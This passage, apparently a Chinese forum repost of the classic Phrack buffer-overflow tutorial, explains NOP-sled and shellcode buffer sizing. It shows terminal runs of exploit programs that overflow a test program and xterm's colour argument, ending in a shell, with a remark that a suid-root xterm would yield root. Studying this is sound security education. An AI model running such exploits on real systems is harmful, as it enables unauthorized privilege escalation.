| |
缓冲区溢出的原理和实践(Phrack) |
|
时间: 2006-11-10 来自:PConline论坛 |
 |
|
我们所使用的缓冲区大小最好比要使其溢出的缓冲区大100字节左右. 我们在要使其 溢出的缓冲区尾部放置shellcode, 为NOP指令留下足够的空间, 仍然使用我们推测的地址 来覆盖返回地址. 这里我们要使其溢出的缓冲区大小是512字节, 所以我们使用612字节. 现在使用新的破解程序来使我们的测试程序溢出:
------------------------------------------------------------------------------ [aleph1]$ ./exploit3 612 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG $ ------------------------------------------------------------------------------ 哇!一击中的!这个改进成千倍地提高了我们的命中率. 下面在真实的环境中尝试一 下缓冲区溢出. 在Xt库上运用我们所讲述的方法. 在例子中, 我们使用xterm(实际上所有 连接Xt库的程序都有漏洞). 计算机上要运行X Server并且允许本地的连接. 还要相应设 置DISPLAY变量.
------------------------------------------------------------------------------ [aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit3 1124 Using address: 0xbffffdb4 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "隵1F °
骎
?へ@よ?in/shいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい いいいいいいいいいいいいいいいいいいいいいいいいい¤
(此处截短多行输出)
いいいいいいいいいいい?いいいい ^C [aleph1]$ exit [aleph1]$ ./exploit3 2148 100 Using address: 0xbffffd48 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "隵1F °
骎
?へ@よ?in/sh ¤
(此处截短多行输出)
縃arning: some arguments in previous message were lost Illegal instruction [aleph1]$ exit . . . [aleph1]$ ./exploit4 2148 600 Using address: 0xbffffb54 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "隵1F °
骎
?へ@よ?in/sh鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗 鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗?
(此处截短多行输出)
縏鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸗鸚arning: some arguments in previous message were lost bash$ ------------------------------------------------------------------------------
尤里卡! 仅仅几次尝试我们就成功了!如果xterm是带suid root安装的, 我们就已经 得到了一个root shell了.
|
|
|
|
|
|
|
|